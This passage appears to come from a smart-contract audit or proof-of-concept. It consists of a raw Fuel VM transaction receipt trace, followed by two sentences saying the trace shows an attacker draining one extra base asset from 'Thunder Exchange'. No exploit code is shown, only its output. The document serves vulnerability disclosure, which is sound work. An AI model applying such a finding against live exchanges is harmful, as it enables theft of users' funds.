19f0c07244cc5cce6a778136","is":33640,"len":0,"pc":47844,"ptr":0}},{"Call":{"amount":0,"asset_id":"0000000000000000000000000000000000000000000000000000000000000000","gas":9508642,"id":"0000000000000000000000000000000000000000000000000000000000000000","is":33640,"param1":67070896,"param2":67069872,"pc":33640,"to":"a2657a9db2d009f628fc0029604adbf68b797a3b19f0c07244cc5cce6a778136"}},{"Call":{"amount":0,"asset_id":"0000000000000000000000000000000000000000000000000000000000000000","gas":9475977,"id":"a2657a9db2d009f628fc0029604adbf68b797a3b19f0c07244cc5cce6a778136","is":111896,"param1":67066800,"param2":67065776,"pc":111896,"to":"d6d1e36a27ebaeec554dccb55d7be8ab49e5aefbaeb7bbcb57ba140468f29d55"}},{"ReturnData":{"data":"01","digest":"4bf5122f344554c53bde2ebb8cd2b7e3d1600ad631c385a5d7cce23c7785459a","id":"d6d1e36a27ebaeec554dccb55d7be8ab49e5aefbaeb7bbcb57ba140468f29d55","is":111896,"len":1,"pc":114992,"ptr":67063216}},{"Call":{"amount":0,"asset_id":"0000000000000000000000000000000000000000000000000000000000000000","gas":9449450,"id":"a2657a9db2d009f628fc0029604adbf68b797a3b19f0c07244cc5cce6a778136","is":111896,"param1":67061680,"param2":67060656,"pc":111896,"to":"9fb23acc0cbb1a365a35b48733ae2bcdb7fcdc9cdf3725bed9d2baf254068ac9"}},{"ReturnData":{"data":"01","digest":"4bf5122f344554c53bde2ebb8cd2b7e3d1600ad631c385a5d7cce23c7785459a","id":"9fb23acc0cbb1a365a35b48733ae2bcdb7fcdc9cdf3725bed9d2baf254068ac9","is":111896,"len":1,"pc":116088,"ptr":67058096}},{"Call":{"amount":0,"asset_id":"0000000000000000000000000000000000000000000000000000000000000000","gas":9419523,"id":"a2657a9db2d009f628fc0029604adbf68b797a3b19f0c07244cc5cce6a778136","is":110456,"param1":67057072,"param2":67056048,"pc":110456,"to":"79e86c3f02a5a677a4ffca1a385f86c11542033e42879ff4d3f4b9845e8b9f55"}},{"ReturnData":{"data":"","digest":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","id":"79e86c3f02a5a677a4ffca1a385f86c11542033e42879ff4d3f4b9845e8b9f55","is":110456,"len":0,"pc":121316,"ptr":0}},{"LogData":{"data":"0000000000000001d0f45dd4e1722b83b57f9845956cb45a92e8558e6cb9e77a1b28972ad0b87e6c7e2becd64cd598da59b4d1064b711661898656c6b1f4918a787156b8965dc83c000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000002000000000000000179e86c3f02a5a677a4ffca1a385f86c11542033e42879ff4d3f4b9845e8b9f55f8f8b6283d7fa5b672b530cbb84fcccb4ff8dc40f8176ef4544ddb1f1952ad074000000066d483f24000000066d48456000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","digest":"8365e6d16e085b2f658b8cd75ac2f30f765382a40d9e402ec158418aff456a2e","id":"a2657a9db2d009f628fc0029604adbf68b797a3b19f0c07244cc5cce6a778136","is":33640,"len":280,"pc":52392,"ptr":67046096,"ra":0,"rb":5118125025934262562}},{"ReturnData":{"data":"","digest":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","id":"a2657a9db2d009f628fc0029604adbf68b797a3b19f0c07244cc5cce6a778136","is":33640,"len":0,"pc":52400,"ptr":0}},{"Call":{"amount":0,"asset_id":"0000000000000000000000000000000000000000000000000000000000000000","gas":9191299,"id":"0000000000000000000000000000000000000000000000000000000000000000","is":31840,"param1":67045072,"param2":67044048,"pc":31840,"to":"a2657a9db2d009f628fc0029604adbf68b797a3b19f0c07244cc5cce6a778136"}},{"Call":{"amount":0,"asset_id":"0000000000000000000000000000000000000000000000000000000000000000","gas":9167661,"id":"a2657a9db2d009f628fc0029604adbf68b797a3b19f0c07244cc5cce6a778136","is":113416,"param1":67041488,"param2":67040464,"pc":113416,"to":"d6d1e36a27ebaeec554dccb55d7be8ab49e5aefbaeb7bbcb57ba140468f29d55"}},{"ReturnData":{"data":"01","digest":"4bf5122f344554c53bde2ebb8cd2b7e3d1600ad631c385a5d7cce23c7785459a","id":"d6d1e36a27ebaeec554dccb55d7be8ab49e5aefbaeb7bbcb57ba140468f29d55","is":113416,"len":1,"pc":116512,"ptr":67037904}},{"Call":{"amount":0,"asset_id":"0000000000000000000000000000000000000000000000000000000000000000","gas":9140172,"id":"a2657a9db2d009f628fc0029604adbf68b797a3b19f0c07244cc5cce6a778136","is":113032,"param1":67036880,"param2":67035856,"pc":113032,"to":"79e86c3f02a5a677a4ffca1a385f86c11542033e42879ff4d3f4b9845e8b9f55"}},{"ReturnData":{"data":"00000000000000010000000000000001d0f45dd4e1722b83b57f9845956cb45a92e8558e6cb9e77a1b28972ad0b87e6c7e2becd64cd598da59b4d1064b711661898656c6b1f4918a787156b8965dc83c000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000002000000000000000179e86c3f02a5a677a4ffca1a385f86c11542033e42879ff4d3f4b9845e8b9f55f8f8b6283d7fa5b672b530cbb84fcccb4ff8dc40f8176ef4544ddb1f1952ad074000000066d483f24000000066d48456000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","digest":"47245686179b76589807b0e85f5ac1c95af452b1d34a75a3b744a7b8546f3ab3","id":"79e86c3f02a5a677a4ffca1a385f86c11542033e42879ff4d3f4b9845e8b9f55","is":113032,"len":288,"pc":117152,"ptr":67031136}},{"Call":{"amount":0,"asset_id":"0000000000000000000000000000000000000000000000000000000000000000","gas":9105205,"id":"a2657a9db2d009f628fc0029604adbf68b797a3b19f0c07244cc5cce6a778136","is":113424,"param1":67030112,"param2":67029088,"pc":113424,"to":"79e86c3f02a5a677a4ffca1a385f86c11542033e42879ff4d3f4b9845e8b9f55"}},{"ReturnData":{"data":"","digest":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","id":"79e86c3f02a5a677a4ffca1a385f86c11542033e42879ff4d3f4b9845e8b9f55","is":113424,"len":0,"pc":113944,"ptr":0}},{"TransferOut":{"amount":2,"asset_id":"f8f8b6283d7fa5b672b530cbb84fcccb4ff8dc40f8176ef4544ddb1f1952ad07","id":"a2657a9db2d009f628fc0029604adbf68b797a3b19f0c07244cc5cce6a778136","is":31840,"pc":59852,"to":"d0f45dd4e1722b83b57f9845956cb45a92e8558e6cb9e77a1b28972ad0b87e6c"}},{"LogData":{"data":"d0f45dd4e1722b83b57f9845956cb45a92e8558e6cb9e77a1b28972ad0b87e6c79e86c3f02a5a677a4ffca1a385f86c11542033e42879ff4d3f4b9845e8b9f5500000000000000010000000000000001","digest":"b68a3c4fdc2528aacdddc2eb2adf1652afb5f5e2ffc0ace1efddb843720fa2e2","id":"a2657a9db2d009f628fc0029604adbf68b797a3b19f0c07244cc5cce6a778136","is":31840,"len":80,"pc":77204,"ptr":67023856,"ra":0,"rb":13612721533416287670}},{"ReturnData":{"data":"","digest":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","id":"a2657a9db2d009f628fc0029604adbf68b797a3b19f0c07244cc5cce6a778136","is":31840,"len":0,"pc":32428,"ptr":0}},{"LogData":{"data":"00000000000186a0","digest":"218e1b871a658f75c71d431be5566ae9e5abf5e04607e404e8d26cbf5e4429e8","id":"0000000000000000000000000000000000000000000000000000000000000000","is":10368,"len":8,"pc":21620,"ptr":67022832,"ra":0,"rb":1515152261580153489}},{"LogData":{"data":"000000000001869f","digest":"b0cf9b3c1d696504e8b18d6b15fe84153aa339ae4fe3e0ef76b042c124626868","id":"0000000000000000000000000000000000000000000000000000000000000000","is":10368,"len":8,"pc":21620,"ptr":67021808,"ra":0,"rb":1515152261580153489}},{"ReturnData":{"data":"","digest":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","id":"0000000000000000000000000000000000000000000000000000000000000000","is":10368,"len":0,"pc":10484,"ptr":67020784}},{"ScriptResult":{"gas_used":1093033,"result":"Success"}}]
From the output above, in the last two logs, we can see that the balance of Thunder Exchange before the attack was 0x00000000000186a0
(100,000), and after the attack, it became 0x000000000001869f
(99,999). This confirms that the attacker successfully stole 1 extra base asset from Thunder Exchange.